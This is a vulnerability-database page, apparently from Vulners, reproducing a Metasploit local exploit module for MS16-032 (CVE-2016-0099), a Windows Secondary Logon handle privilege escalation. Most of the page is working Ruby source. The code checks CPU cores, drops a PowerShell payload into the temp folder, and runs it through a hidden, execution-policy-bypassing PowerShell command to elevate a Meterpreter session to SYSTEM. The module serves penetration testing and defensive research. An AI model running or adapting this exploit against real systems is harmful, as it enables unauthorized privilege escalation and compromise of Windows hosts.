Lucene search
K

MS16-032 Secondary Logon Handle Privilege Escalation

🗓️ 21 Jun 2016 18:56:12Reported by James Forshaw, b33f, khr0x40shType 
metasploit
 metasploit
🔗 www.rapid7.com👁 307 Views

MS16-032 Secondary Logon Handle Privilege Escalation module exploits lack of sanitization in Windows' Secondary Logon Service. Vulnerable on Windows 7-10 and 2k8-2k12, 32 and 64 bit. Requires Powershell 2.0 or later and systems with two or more CPU cores

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::File
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',
        'Description' => %q{
          This module exploits the lack of sanitization of standard handles in Windows' Secondary
          Logon Service.  The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
          32 and 64 bit.  This module will only work against those versions of Windows with
          Powershell 2.0 or later and systems with two or more CPU cores.
        },
        'License' => BSD_LICENSE,
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [],
          'Reliability' => []
        },
        'Author' => [
          'James Forshaw', # twitter.com/tiraniddo
          'b33f', # @FuzzySec, http://www.fuzzysecurity.com'
          'khr0x40sh'
        ],
        'References' => [
          [ 'MSB', 'MS16-032'],
          [ 'CVE', '2016-0099'],
          [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
          [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
        ],
        'DefaultOptions' => {
          'WfsDelay' => 30,
          'EXITFUNC' => 'thread'
        },
        'DisclosureDate' => '2016-03-21',
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          # Tested on (32 bits):
          # * Windows 7 SP1
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          # Tested on (64 bits):
          # * Windows 7 SP1
          # * Windows 8
          # * Windows 2012
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_advanced_options(
      [
        OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
      ]
    )
  end

  def check
    unless session.platform == 'windows'
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    res = psh_exec 'if($([System.Environment]::ProcessorCount) -gt 1) { echo("true") }'
    unless res.include? 'true'
      vprint_error 'Target system has an insufficient number of processor cores'
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    # Exploit PoC from 'b33f'
    ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
    vprint_status("PS1 loaded from #{ps_path}")
    ms16_032 = File.read(ps_path, mode: 'rb')

    cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'

    payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first

    if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86
      cmdstr.gsub!('System32', 'SYSWOW64')
      print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell')
      vprint_warning(cmdstr.to_s)
    end

    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)

    psh_payload = compress_script(psh_payload)

    @upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1'
    path = datastore['W_PATH'] || expand_path('%TEMP%')
    @upfile = "#{path}\\#{@upfile}"
    fd = session.fs.file.new(@upfile, 'wb')
    print_status("Writing payload file, #{@upfile}...")
    fd.write(psh_payload)
    fd.close
    psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}"

    # lpAppName
    ms16_032.gsub!('$cmd', "\"#{cmdstr}\"")
    # lpcommandLine - capped at 1024b
    ms16_032.gsub!('$args1', "\"#{psh_cmd}\"")
    end_flag = Rex::Text.rand_text_alphanumeric(32)
    ms16_032.gsub!('$end', end_flag)

    print_status('Compressing script contents...')
    ms16_032_c = compress_script(ms16_032)

    if ms16_032_c.size > 8100
      print_error("Compressed size: #{ms16_032_c.size}")
      error_msg = 'Compressed size may cause command to exceed '
      error_msg += "cmd.exe's 8kB character limit."
      print_error(error_msg)
    else
      print_good("Compressed size: #{ms16_032_c.size}")
    end

    print_status('Executing exploit script...')

    cmd = expand_path('%windir%')
    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      cmd += '\\Sysnative'
    else
      cmd += '\\System32'
    end

    cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\""

    args = nil

    begin
      r = session.sys.process.execute(cmd, args, {
        'Hidden' => true,
        'Channelized' => true
      })

      while (d = r.channel.read)
        print(d)
        break if d.include? end_flag
      end
      r.channel.close
      r.close

      print_good('Executed on target machine.')
    rescue StandardError
      print_error('An error occurred executing the script.')
    end
  end

  def cleanup
    rm_f(@upfile)
    print_good("Deleted #{@upfile}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation